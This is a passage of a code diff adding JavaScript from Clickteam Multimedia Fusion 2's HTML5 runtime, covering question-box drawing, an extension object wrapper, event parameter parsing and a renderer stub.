+ pt[2].x -= 1;
+ context.renderLine(pt[0].x, pt[0].y, pt[1].x, pt[1].y, color2, 1);
+ context.renderLine(pt[1].x, pt[1].y, pt[2].x, pt[2].y, color2, 1);
+
+ pt[0].x -= 1;
+ pt[0].y += 1;
+ pt[1].x -= 1;
+ pt[1].y -= 1;
+ pt[2].x += 1;
+ pt[2].y -= 1;
+ context.renderLine(pt[0].x, pt[0].y, pt[1].x, pt[1].y, color2, 1);
+ context.renderLine(pt[1].x, pt[1].y, pt[2].x, pt[2].y, color2, 1);
+ }
+ },
+
+ redraw_Answer: function (context, number, state)
+ {
+ var rc = new CRect();
+
+ rc.copyRect(this.rcA[number]);
+ this.border3D(context, this.rcA[number], state);
+ rc.left += 2;
+ rc.top += 2;
+ rc.right -= 4;
+ rc.bottom -= 4;
+ if (state)
+ {
+ rc.left += 2;
+ rc.top += 2;
+ }
+ this.textSurfaces[number].draw(context,
+ (rc.left + rc.right) / 2 - this.textSurfaces[number].width / 2,
+ (rc.top + rc.bottom) / 2 - this.textSurfaces[number].height / 2,
+ 0, 0);
+ },
+
+ computeTexts: function ()
+ {
+ this.measureTextSurface = new CTextSurface(this.hoAdRunHeader.rhApp, 8, 8);
+
+ var defTexts = this.hoCommon.ocObject;
+ var prh = this.hoAdRunHeader;
+
+ var ptta = defTexts.otTexts[1];
+ var colorA = ptta.tsColor;
+ var flgRelief = (ptta.tsFlags & CDefText.TSF_RELIEF) != 0;
+ var fontAnswers = prh.rhApp.fontBank.getFontFromHandle(ptta.tsFont);
+ this.xa_margin = Math.floor((this.measureTextSurface.measureText("X", fontAnswers) * 3) / 2);
+ this.hta = 4;
+ this.lgBox = 64;
+ var i, tm;
+ for (i = 1; i < defTexts.otTexts.length; i++)
+ {
+ ptta = defTexts.otTexts[i];
+ if (ptta.tsText.length > 0)
+ {
+ tm = this.measureTextSurface.measureText(ptta.tsText, fontAnswers);
+ this.lgBox = Math.max(this.lgBox, tm + this.xa_margin * 2 + 4);
+ this.hta = Math.max(this.hta, Math.floor((fontAnswers.getHeight() * 3) / 2));
+ }
+ }
+ this.hte = Math.max(Math.floor(this.hta / 4), 2);
+ this.lgBox += this.xa_margin * 2 + 4;
+ var rc = new CRect();
+ for (i = 1; i < defTexts.otTexts.length; i++)
+ {
+ ptta = defTexts.otTexts[i];
+ this.textSurfaces[i] = new CTextSurface(prh.rhApp, this.lgBox, this.hta);
+ rc.right = this.lgBox;
+ rc.bottom = this.hta;
+ this.textSurfaces[i].manualDrawText(ptta.tsText, CServices.DT_CENTER | CServices.DT_VCENTER, rc, colorA, fontAnswers, flgRelief ? 1 : 0, 0xFFFFFF);
+ }
+
+ var ptts = defTexts.otTexts[0];
+ flgRelief = (ptts.tsFlags & CDefText.TSF_RELIEF) != 0;
+ var fontQuestion = prh.rhApp.fontBank.getFontFromHandle(ptts.tsFont);
+ var xq_margin = Math.floor((this.measureTextSurface.measureText("X", fontQuestion) * 3) / 2);
+ tm = this.measureTextSurface.measureText(ptts.tsText, fontQuestion);
+ this.htq = Math.floor(fontQuestion.getHeight() * 3 / 2);
+ this.lgBox = Math.max(this.lgBox, tm + xq_margin * 2 + 4);
+ if (this.lgBox > prh.rhApp.gaCxWin)
+ this.lgBox = prh.rhApp.gaCxWin;
+ else if (this.lgBox > prh.rhFrame.leWidth)
+ this.lgBox = prh.rhFrame.leWidth;
+ rc.right = this.lgBox;
+ rc.bottom = this.htq;
+ this.textSurfaces[0] = new CTextSurface(prh.rhApp, this.lgBox, this.htq);
+ this.textSurfaces[0].manualDrawText(ptts.tsText, CServices.DT_CENTER | CServices.DT_VCENTER,
+ rc, colorA, fontQuestion, flgRelief ? 1 : 0, 0xFFFFFF);
+ },
+ draw: function (context, xDraw, yDraw)
+ {
+ var defTexts = this.hoCommon.ocObject;
+ var prh = this.hoAdRunHeader;
+ var x = this.hoX - prh.rhWindowX;
+ var y = this.hoY - prh.rhWindowY;
+
+ var rcQ = new CRect();
+ rcQ.left = x;
+ rcQ.top = y;
+ var boxCx = this.lgBox;
+ var boxCy = this.htq + 1 + (this.hta + this.hte) * (defTexts.otTexts.length - 1) + this.hte + 4;
+ rcQ.right = x + boxCx;
+ rcQ.bottom = y + boxCy;
+
+ context.renderSolidColor(rcQ.left, rcQ.top, rcQ.right - rcQ.left, rcQ.bottom - rcQ.top, 0xC0C0C0, 0, 0);
+ this.border3D(context, rcQ, false);
+
+ rcQ.left += 2;
+ rcQ.top += 2;
+ rcQ.right -= 2;
+ rcQ.bottom = rcQ.top + this.htq;
+ this.textSurfaces[0].draw(context,
+ (rcQ.left + rcQ.right) / 2 - this.textSurfaces[0].width / 2,
+ (rcQ.top + rcQ.bottom) / 2 - this.textSurfaces[0].height / 2,
+ 0, 0);
+ rcQ.top = rcQ.bottom;
+ context.renderLine(rcQ.left, rcQ.top, rcQ.right, rcQ.bottom, 0x808080, 1, 0, 0);
+ rcQ.top += 1;
+ rcQ.bottom += 1;
+ context.renderLine(rcQ.left, rcQ.top, rcQ.right, rcQ.bottom, 0xFFFFFF, 1, 0, 0);
+
+ if (this.rcA == null)
+ {
+ this.rcA = Array(defTexts.otTexts.length);
+ for (i = 1; i < defTexts.otTexts.length; i++)
+ {
+ this.rcA[i] = new CRect();
+ this.rcA[i].left = x + 2 + this.xa_margin;
+ this.rcA[i].right = x + this.lgBox - 2 - this.xa_margin;
+ this.rcA[i].top = y + 2 + this.htq + 1 + this.hte + (this.hta + this.hte) * (i - 1);
+ this.rcA[i].bottom = this.rcA[i].top + this.hta;
+ }
+ }
+ for (i = 1; i < defTexts.otTexts.length; i++)
+ {
+ var bFlag = (this.currentDown == i);
+ this.redraw_Answer(context, i, bFlag);
+ }
+ }
+ });
+
+ // CExtension object
+ // -------------------------------------------------------------
+ function CExtension(type, rhPtr)
+ {
+ this.ext = rhPtr.rhApp.extLoader.loadRunObject(type);
+ this.noHandle = false;
+ this.privateData = 0;
+ this.objectCount = 0;
+ this.objectNumber = 0;
+ this.bAddedToPlane = false;
+ this.bShown = true;
+ this.nLayer = 0;
+ this.pLayer = null;
+ this.plane = null;
+ }
+ CExtension.prototype = CServices.extend(new CObject(),
+ {
+ init: function (ocPtr, cob)
+ {
+ this.ext.init(this);
+
+ var file = this.hoAdRunHeader.rhApp.file.createFromFile(ocPtr.ocExtension);
+ this.privateData = ocPtr.ocPrivate;
+ this.ext.createRunObject(file, cob, ocPtr.ocVersion);
+ },
+
+ addSprite: function (xx, yy, image, layer, bShown)
+ {
+ this.nLayer = layer;
+ this.pLayer = this.hoAdRunHeader.rhFrame.layers[layer];
+ this.bShown = bShown;
+ if (this.bAddedToPlane == true)
+ return;
+ this.bAddedToPlane = true;
+ this.plane = this.pLayer.planeSprites;
+ this.plane.addChild(this);
+ },
+
+ addOwnerDrawSprite: function (xx, yy, layer, bQuickDisplay, bShown)
+ {
+ this.nLayer = layer;
+ this.pLayer = this.hoAdRunHeader.rhFrame.layers[layer];
+ this.bShown = bShown;
+
+ if (this.bAddedToPlane == true)
+ return;
+ this.bAddedToPlane = true;
+
+ if (bQuickDisplay)
+ this.plane = this.pLayer.planeQuickDisplay;
+ else
+ this.plane = this.pLayer.planeSprites;
+
+ this.plane.addChild(this);
+ },
+
+ delSprite: function ()
+ {
+ //return this.plane.removeChild(this);
+
+ if (this.bAddedToPlane == false)
+ return -1;
+ this.bAddedToPlane = false;
+ var index = this.plane.getChildIndex(this);
+ this.plane.removeChild(this);
+ return index;
+ },
+
+ handle: function ()
+ {
+ if ((this.hoOEFlags & 0x0200) != 0)
+ this.ros.handle();
+ else if ((this.hoOEFlags & 0x0030) == 0x0010 || (this.hoOEFlags & 0x0030) == 0x0030)
+ this.rom.move();
+ else if ((this.hoOEFlags & 0x0030) == 0x0020)
+ this.roa.animate();
+
+ var ret = 0;
+ if (this.noHandle == false)
+ ret = this.ext.handleRunObject();
+
+ if ((ret & CRunExtension.REFLAG_ONESHOT) != 0)
+ this.noHandle = true;
+ if (this.roc != null)
+ {
+ if (this.roc.rcChanged)
+ {
+ ret |= CRunExtension.REFLAG_DISPLAY;
+ this.roc.rcChanged = false;
+ }
+ }
+ },
+
+ autoResize: function ()
+ {
+ this.ext.autoResize();
+ },
+ createFont: function ()
+ {
+ this.ext.createFont();
+ },
+ draw: function (context, xDraw, yDraw)
+ {
+ if (this.bShown)
+ {
+ this.ext.displayRunObject(context, xDraw, yDraw);
+ }
+ },
+
+ kill: function (bFast)
+ {
+ this.ext.destroyRunObject(bFast);
+ },
+
+ getCollisionMask: function (flags)
+ {
+ return this.ext.getRunObjectCollisionMask(flags);
+ },
+
+ condition: function (num, cnd)
+ {
+ return this.ext.condition(num, cnd);
+ },
+
+ action: function (num, act)
+ {
+ this.ext.action(num, act);
+ },
+
+ expression: function (num)
+ {
+ return this.ext.expression(num);
+ },
+
+ setTransparency: function (t)
+ {
+ this.ros.rsEffect = CRSpr.BOP_BLEND;
+ this.ros.rsEffectParam = t;
+ },
+
+ setFocus: function (bFlag)
+ {
+ this.ext.setFocus(bFlag);
+ },
+
+ showSprite: function ()
+ {
+ this.bShown = true;
+ },
+
+ hideSprite: function ()
+ {
+ this.bShown = false;
+ },
+
+ //setChildIndex: function (index)
+ //{
+ // this.ext.setChildIndex(index);
+ //},
+
+ getChildIndex: function ()
+ {
+ return this.plane.getChildIndex(this);
+ },
+
+ getChildMaxIndex: function ()
+ {
+ return this.plane.children.length;
+ },
+
+ setChildIndex: function (index)
+ {
+ if (index >= this.plane.children.length)
+ index = this.plane.children.length;
+ if (index < 0)
+ index = 0;
+ this.plane.setChildIndex(this, index);
+ },
+
+ pauseRunObject: function ()
+ {
+ this.ext.pauseRunObject();
+ },
+
+ continueRunObject: function ()
+ {
+ this.ext.continueRunObject();
+ },
+
+ forcePosition: function ()
+ {
+ this.ext.forcePosition();
+ },
+
+ loadImageList: function (list)
+ {
+ this.hoAdRunHeader.rhApp.imageBank.loadImageList(list);
+ },
+
+ getImage: function (handle)
+ {
+ return this.hoAdRunHeader.rhApp.imageBank.getImageFromHandle(handle);
+ },
+
+ getApplication: function ()
+ {
+ return this.hoAdRunHeader.rhApp;
+ },
+
+ getX: function ()
+ {
+ return this.hoX;
+ },
+
+ getY: function ()
+ {
+ return this.hoY;
+ },
+
+ getWidth: function ()
+ {
+ return this.hoImgWidth;
+ },
+
+ getHeight: function ()
+ {
+ return this.hoImgHeight;
+ },
+
+ setX: function (x)
+ {
+ if (this.rom != null)
+ {
+ this.rom.rmMovement.setXPosition(x);
+ }
+ else
+ {
+ this.hoX = x;
+ if (this.roc != null)
+ {
+ this.roc.rcChanged = true;
+ this.roc.rcCheckCollides = true;
+ }
+ }
+ },
+
+ setY: function (y)
+ {
+ if (this.rom != null)
+ {
+ this.rom.rmMovement.setYPosition(y);
+ }
+ else
+ {
+ this.hoY = y;
+ if (this.roc != null)
+ {
+ this.roc.rcChanged = true;
+ this.roc.rcCheckCollides = true;
+ }
+ }
+ },
+
+ setWidth: function (width)
+ {
+ this.hoImgWidth = width;
+ },
+
+ setHeight: function (height)
+ {
+ this.hoImgHeight = height;
+ },
+ setSize: function (width, height)
+ {
+ this.hoImgWidth = width;
+ this.hoImgHeight = height;
+ },
+ reHandle: function ()
+ {
+ this.noHandle = false;
+ },
+
+ generateEvent: function (code, param)
+ {
+ if (this.hoAdRunHeader.rh2PauseCompteur == 0)
+ {
+ var p0 = this.hoAdRunHeader.rhEvtProg.rhCurParam0;
+ this.hoAdRunHeader.rhEvtProg.rhCurParam0 = param;
+
+ code = (-(code + CEventProgram.EVENTS_EXTBASE + 1) << 16);
+ code |= (this.hoType & 0xFFFF);
+ this.hoAdRunHeader.rhEvtProg.handle_Event(this, code);
+
+ this.hoAdRunHeader.rhEvtProg.rhCurParam0 = p0;
+ }
+ },
+
+ pushEvent: function (code, param)
+ {
+ if (this.hoAdRunHeader.rh2PauseCompteur == 0)
+ {
+ code = (-(code + CEventProgram.EVENTS_EXTBASE + 1) << 16);
+ code |= (this.hoType & 0xFFFF);
+ this.hoAdRunHeader.rhEvtProg.push_Event(1, code, param, this, this.hoOi);
+ }
+ },
+
+ pause: function ()
+ {
+ this.hoAdRunHeader.pause();
+ },
+
+ resume: function ()
+ {
+ this.hoAdRunHeader.resume();
+ },
+
+ redraw: function ()
+ {
+ },
+
+ destroy: function ()
+ {
+ this.hoAdRunHeader.destroy_Add(this.hoNumber);
+ },
+
+ setPosition: function (x, y)
+ {
+ if (this.rom != null)
+ {
+ this.rom.rmMovement.setXPosition(x);
+ this.rom.rmMovement.setYPosition(y);
+ }
+ else
+ {
+ this.hoX = x;
+ this.hoY = y;
+ if (this.roc != null)
+ {
+ this.roc.rcChanged = true;
+ this.roc.rcCheckCollides = true;
+ }
+ }
+ },
+
+ getExtUserData: function ()
+ {
+ return this.privateData;
+ },
+
+ setExtUserData: function (data)
+ {
+ this.privateData = data;
+ },
+
+ addBackdrop: function (img, x, y, typeObst, nLayer)
+ {
+ this.hoAdRunHeader.addBackdrop(img, x, y, nLayer, typeObst, true);
+ },
+
+ getEventCount: function ()
+ {
+ return this.hoAdRunHeader.rh4EventCount;
+ },
+
+ getExpParam: function ()
+ {
+ this.hoAdRunHeader.rh4CurToken++;
+ return this.hoAdRunHeader.getExpression();
+ },
+
+ getEventParam: function ()
+ {
+ return this.hoAdRunHeader.rhEvtProg.rhCurParam0;
+ },
+
+ callMovement: function (hoPtr, action, param)
+ {
+ if ((hoPtr.hoOEFlags & CObjectCommon.OEFLAG_MOVEMENTS) != 0)
+ {
+ if (hoPtr.roc.rcMovementType == CMoveDef.MVTYPE_EXT)
+ {
+ var mvPtr = hoPtr.rom.rmMovement;
+ return mvPtr.callMovement(action, param);
+ }
+ }
+ return 0;
+ },
+
+ getFirstObject: function ()
+ {
+ this.objectCount = 0;
+ this.objectNumber = 0;
+ return this.getNextObject();
+ },
+
+ getNextObject: function ()
+ {
+ if (this.objectNumber < this.hoAdRunHeader.rhNObjects)
+ {
+ while (this.hoAdRunHeader.rhObjectList[this.objectCount] == null)
+ this.objectCount++;
+ var hoPtr = this.hoAdRunHeader.rhObjectList[this.objectCount];
+ this.objectNumber++;
+ this.objectCount++;
+ return hoPtr;
+ }
+ return null;
+ },
+
+ getObjectFromFixed: function (fixed)
+ {
+ var count = 0;
+ var number;
+ for (number = 0; number < this.hoAdRunHeader.rhNObjects; number++)
+ {
+ while (this.hoAdRunHeader.rhObjectList[count] == null)
+ count++;
+ var hoPtr = this.hoAdRunHeader.rhObjectList[count];
+ count++;
+ var id = (hoPtr.hoCreationId << 16) | (hoPtr.hoNumber & 0xFFFF);
+ if (id == fixed)
+ return hoPtr;
+ }
+ return null;
+ },
+
+ findFirstObject:function(name)
+ {
+ return this.hoAdRunHeader.findFirstObject(name);
+ },
+
+ findNextObject:function(object)
+ {
+ return this.hoAdRunHeader.findNextObject(object);
+ },
+
+ openHFile: function (path)
+ {
+ return hoAdRunHeader.rhApp.openHFile(path);
+ },
+
+ closeHFile: function (path)
+ {
+ hoAdRunHeader.rhApp.closeHFile(path);
+ }
+ });
+ // CParam object
+ // ------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ CParam.PARAM_EXPRESSIONNUM = 22;
+ CParam.create = function (app)
+ {
+ var debut = app.file.getFilePointer();
+
+ var param = null;
+ var size = app.file.readAShort();
+ var c = app.file.readAShort();
+
+ switch (c)
+ {
+ case 1:
+ param = new PARAM_OBJECT(app);
+ break;
+ case 2:
+ param = new PARAM_TIME(app);
+ break;
+ case 3:
+ param = new PARAM_SHORT(app);
+ break;
+ case 4:
+ param = new PARAM_SHORT(app);
+ break;
+ case 5:
+ param = new PARAM_INT(app);
+ break;
+ case 6:
+ param = new PARAM_SAMPLE(app);
+ break;
+ case 9:
+ param = new PARAM_CREATE(app);
+ break;
+ case 10:
+ param = new PARAM_SHORT(app);
+ break;
+ case 11:
+ param = new PARAM_SHORT(app);
+ break;
+ case 12:
+ param = new PARAM_SHORT(app);
+ break;
+ case 13:
+ param = new PARAM_EVERY(app);
+ break;
+ case 14:
+ param = new PARAM_KEY(app);
+ break;
+ case 15:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 16:
+ param = new PARAM_POSITION(app);
+ break;
+ case 17:
+ param = new PARAM_SHORT(app);
+ break;
+ case 18:
+ param = new PARAM_SHOOT(app);
+ break;
+ case 19:
+ param = new PARAM_ZONE(app);
+ break;
+ case 21:
+ param = new PARAM_CREATE(app);
+ break;
+ case 22:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 23:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 24:
+ param = new PARAM_COLOUR(app);
+ break;
+ case 25:
+ param = new PARAM_INT(app);
+ break;
+ case 26:
+ param = new PARAM_SHORT(app);
+ break;
+ case 27:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 28:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 29:
+ param = new PARAM_INT(app);
+ break;
+ case 31:
+ param = new PARAM_SHORT(app);
+ break;
+ case 32:
+ param = new PARAM_SHORT(app);
+ break;
+ case 34:
+ param = new PARAM_INT(app);
+ break;
+ case 35:
+ param = new PARAM_SAMPLE(app);
+ break;
+ case 36:
+ param = new PARAM_SAMPLE(app);
+ break;
+ case 37:
+ param = new PARAM_SHORT(app);
+ break;
+ case 38:
+ param = new PARAM_GROUP(app);
+ break;
+ case 39:
+ param = new PARAM_GROUPOINTER(app);
+ break;
+ case 40:
+ param = new PARAM_STRING(app);
+ break;
+ case 41:
+ param = new PARAM_STRING(app);
+ break;
+ case 42:
+ param = new PARAM_CMPTIME(app);
+ break;
+ case 43:
+ param = new PARAM_SHORT(app);
+ break;
+ case 44:
+ param = new PARAM_KEY(app);
+ break;
+ case 45:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 46:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 47:
+ param = new PARAM_2SHORTS(app);
+ break;
+ case 48:
+ param = new PARAM_INT(app);
+ break;
+ case 49:
+ param = new PARAM_SHORT(app);
+ break;
+ case 50:
+ param = new PARAM_SHORT(app);
+ break;
+ case 51:
+ param = new PARAM_2SHORTS(app);
+ break;
+ case 52:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 53:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 54:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 55:
+ param = new PARAM_EXTENSION(app);
+ break;
+ case 56:
+ param = new PARAM_INT(app);
+ break;
+ case 57:
+ param = new PARAM_SHORT(app);
+ break;
+ case 58:
+ param = new PARAM_SHORT(app);
+ break;
+ case 59:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 60:
+ param = new PARAM_SHORT(app);
+ break;
+ case 61:
+ param = new PARAM_SHORT(app);
+ break;
+ case 62:
+ param = new PARAM_EXPRESSION(app);
+ break;
+ case 63:
+ param = new PARAM_STRING(app);
+ break;
+ case 64:
+ param = new PARAM_STRING(app);
+ break;
+ case 67:
+ param = new PARAM_SHORT(app);
+ break;
+ }
+ param.code = c;
+ app.file.seek(debut + size);
+ return param;
+ }
+ function CParam()
+ {
+ }
+
+ // CPositionInfo object
+ // ------------------------------------------------------------------------
+ function CPositionInfo()
+ {
+ this.x = 0;
+ this.y = 0;
+ this.dir = 0;
+ this.layer = 0;
+ this.bRepeat = false;
+ }
+ // Parameter objects
+ // ------------------------------------------------------------------------
+ function PARAM_2SHORTS(app)
+ {
+ this.value1 = app.file.readAShort();
+ this.value2 = app.file.readAShort();
+ }
+ function PARAM_CMPTIME(app)
+ {
+ this.timer = app.file.readAInt();
+ this.loops = app.file.readAInt();
+ this.comparaison = app.file.readAShort();
+ }
+ function PARAM_COLOUR(app)
+ {
+ this.color = app.file.readAColor();
+ }
+ function PARAM_EVERY(app)
+ {
+ this.delay = app.file.readAInt();
+ this.compteur = app.file.readAInt();
+ }
+ function PARAM_EXPRESSION(app)
+ {
+ this.comparaison = app.file.readAShort();
+
+ var debut = app.file.getFilePointer();
+ var count = 0;
+ var size;
+ var code;
+ while (true)
+ {
+ count++;
+ code = app.file.readAInt();
+ if (code == 0)
+ break;
+ size = app.file.readAShort();
+ if (size > 6)
+ app.file.skipBytes(size - 6);
+ }
+
+ app.file.seek(debut);
+ this.tokens = new Array(count);
+ var n;
+ for (n = 0; n < count; n++)
+ this.tokens[n] = CExp.create(app.file);
+ }
+ function PARAM_EXTENSION(app)
+ {
+ var size = app.file.readAShort();
+ app.file.skipBytes(4);
+ this.data = 0;
+ if (size > 6)
+ {
+ this.data = app.file.getFilePointer();
+ app.file.skipBytes(size - 6);
+ }
+ }
+ PARAM_GROUP.GRPFLAGS_INACTIVE = 0x0001;
+ PARAM_GROUP.GRPFLAGS_CLOSED = 0x0002;
+ PARAM_GROUP.GRPFLAGS_PARENTINACTIVE = 0x0004;
+ PARAM_GROUP.GRPFLAGS_GROUPINACTIVE = 0x0008;
+ PARAM_GROUP.GRPFLAGS_GLOBAL = 0x0010;
+ function PARAM_GROUP(app)
+ {
+ this.grpFlags = app.file.readAShort();
+ this.grpId = app.file.readAShort();
+ }
+ function PARAM_GROUPOINTER(app)
+ {
+ app.file.skipBytes(4);
+ this.pointer = 0;
+ this.id = app.file.readAShort();
+ }
+ function PARAM_INT(app)
+ {
+ this.value = app.file.readAInt();
+ this.value2 = 0;
+ }
+ function PARAM_KEY(app)
+ {
+ this.key = app.file.readAShort();
+ }
+ function PARAM_OBJECT(app)
+ {
+ this.oiList = app.file.readShort();
+ this.oi = app.file.readShort();
+ this.type = app.file.readShort();
+ }
+ CPosition.CPF_DIRECTION = 0x0001;
+ CPosition.CPF_ACTION = 0x0002;
+ CPosition.CPF_INITIALDIR = 0x0004;
+ CPosition.CPF_DEFAULTDIR = 0x0008;
+ function CPosition()
+ {
+ }
+ CPosition.prototype =
+ {
+ read_Position: function (rhPtr, getDir, pInfo)
+ {
+ pInfo.layer = -1;
+
+ if (this.posOINUMParent == -1)
+ {
+ if (getDir != 0)
+ {
+ pInfo.dir = -1;
+ if ((this.posFlags & CPosition.CPF_DEFAULTDIR) == 0)
+ {
+ pInfo.dir = rhPtr.get_Direction(this.posDir);
+ }
+ }
+ pInfo.x = this.posX;
+ pInfo.y = this.posY;
+ var nLayer = this.posLayer;
+ if (nLayer > rhPtr.rhFrame.nLayers - 1)
+ nLayer = rhPtr.rhFrame.nLayers - 1;
+ pInfo.layer = nLayer;
+ pInfo.bRepeat = false;
+ }
+ else
+ {
+ rhPtr.rhEvtProg.rh2EnablePick = false;
+ var pHo;
+ pHo = rhPtr.rhEvtProg.get_CurrentObjects(this.posOiList);
+ pInfo.bRepeat = rhPtr.rhEvtProg.repeatFlag;
+ if (pHo == null)
+ return false;
+ pInfo.x = pHo.hoX;
+ pInfo.y = pHo.hoY;
+ pInfo.layer = pHo.hoLayer;
+
+ if ((this.posFlags & CPosition.CPF_ACTION) != 0)
+ {
+ if ((pHo.hoOEFlags & CObjectCommon.OEFLAG_ANIMATIONS) != 0)
+ {
+ if (pHo.roc.rcImage >= 0)
+ {
+ var ifo;
+ var angle = pHo.roc.rcAngle;
+ var pMBase = rhPtr.GetMBase(pHo);
+ if (pMBase != null)
+ angle = pMBase.getAngle();
+ ifo = rhPtr.rhApp.imageBank.getImageInfoEx(pHo.roc.rcImage, angle, pHo.roc.rcScaleX, pHo.roc.rcScaleY);
+ pInfo.x += ifo.xAP - ifo.xSpot;
+ pInfo.y += ifo.yAP - ifo.ySpot;
+ }
+ }
+ }
+
+ if ((this.posFlags & CPosition.CPF_DIRECTION) != 0)
+ {
+ var dir = this.posAngle + pHo.hoAdRunHeader.getDir(pHo) & 0x1F;
+ var px = CMove.getDeltaX(this.posSlope, dir);
+ var py = CMove.getDeltaY(this.posSlope, dir);
+ pInfo.x += px;
+ pInfo.y += py;
+ }
+ else
+ {
+ pInfo.x += this.posX;
+ pInfo.y += this.posY;
+ }
+
+ if ((getDir & 0x01) != 0)
+ {
+ if ((this.posFlags & CPosition.CPF_DEFAULTDIR) != 0)
+ pInfo.dir = -1;
+ else if ((this.posFlags & CPosition.CPF_INITIALDIR) != 0)
+ pInfo.dir = pHo.hoAdRunHeader.getDir(pHo);
+ else
+ pInfo.dir = rhPtr.get_Direction(this.posDir);
+ }
+ }
+
+ if ((getDir & 0x02) != 0)
+ {
+ if (pInfo.x < rhPtr.rh3XMinimumKill || pInfo.x > rhPtr.rh3XMaximumKill)
+ return false;
+ if (pInfo.y < rhPtr.rh3YMinimumKill || pInfo.y > rhPtr.rh3YMaximumKill)
+ return false;
+ }
+ return true;
+ }
+ }
+ function PARAM_POSITION(app)
+ {
+ this.posOINUMParent = app.file.readShort();
+ this.posFlags = app.file.readShort();
+ this.posX = app.file.readShort();
+ this.posY = app.file.readShort();
+ this.posSlope = app.file.readShort();
+ this.posAngle = app.file.readShort();
+ this.posDir = app.file.readAInt();
+ this.posTypeParent = app.file.readShort();
+ this.posOiList = app.file.readShort();
+ this.posLayer = app.file.readShort();
+ }
+ PARAM_POSITION.prototype = CServices.extend(new CPosition(),
+ {
+ });
+ function PARAM_CREATE(app)
+ {
+ this.posOINUMParent = app.file.readShort();
+ this.posFlags = app.file.readShort();
+ this.posX = app.file.readShort();
+ this.posY = app.file.readShort();
+ this.posSlope = app.file.readShort();
+ this.posAngle = app.file.readShort();
+ this.posDir = app.file.readAInt();
+ this.posTypeParent = app.file.readShort();
+ this.posOiList = app.file.readShort();
+ this.posLayer = app.file.readShort();
+ this.cdpHFII = app.file.readAShort();
+ this.cdpOi = app.file.readAShort();
+ }
+ PARAM_CREATE.prototype = CServices.extend(new CPosition(),
+ {
+ });
+ function PARAM_SHOOT(app)
+ {
+ this.posOINUMParent = app.file.readShort();
+ this.posFlags = app.file.readShort();
+ this.posX = app.file.readShort();
+ this.posY = app.file.readShort();
+ this.posSlope = app.file.readShort();
+ this.posAngle = app.file.readShort();
+ this.posDir = app.file.readAInt();
+ this.posTypeParent = app.file.readShort();
+ this.posOiList = app.file.readShort();
+ this.posLayer = app.file.readShort();
+ this.cdpHFII = app.file.readShort();
+ this.cdpOi = app.file.readShort();
+ app.file.skipBytes(4); //cdpFree
+ this.shtSpeed = app.file.readAShort();
+ }
+ PARAM_SHOOT.prototype = CServices.extend(new CPosition(),
+ {
+ });
+
+ function PARAM_SAMPLE(app)
+ {
+ this.sndHandle = app.file.readAShort();
+ this.sndFlags = app.file.readAShort();
+ }
+ function PARAM_SHORT(app)
+ {
+ this.value = app.file.readAShort();
+ }
+ function PARAM_STRING(app)
+ {
+ this.string = app.file.readAString();
+ }
+ function PARAM_TIME(app)
+ {
+ this.timer = app.file.readAInt();
+ this.loops = app.file.readAInt();
+ }
+ function PARAM_ZONE(app)
+ {
+ this.x1 = app.file.readShort();
+ this.y1 = app.file.readShort();
+ this.x2 = app.file.readShort();
+ this.y2 = app.file.readShort();
+ }
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ function Renderer()
+ {
+ this.clips = [];
+ };
+
+ Renderer.prototype =
+ {
+ renderSolidColor: function (x, y, w, h, color, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderSolidColorEllipse: function (x, y, w, h, color, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderGradient: function (x, y, w, h, color1, color2, vertical, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderGradientEllipse: function (x, y, w, h, color1, color2, vertical, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderImage: function (image, x, y, angle, scaleX, scaleY, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderSimpleImage: function (image, x, y, w, h, inkEffect, inkEffectParam)
+ {
+ },
+
+ renderPattern: function (image, x, y, w, h, inkEffect, inkEffectParam)
+ {
+ },
+
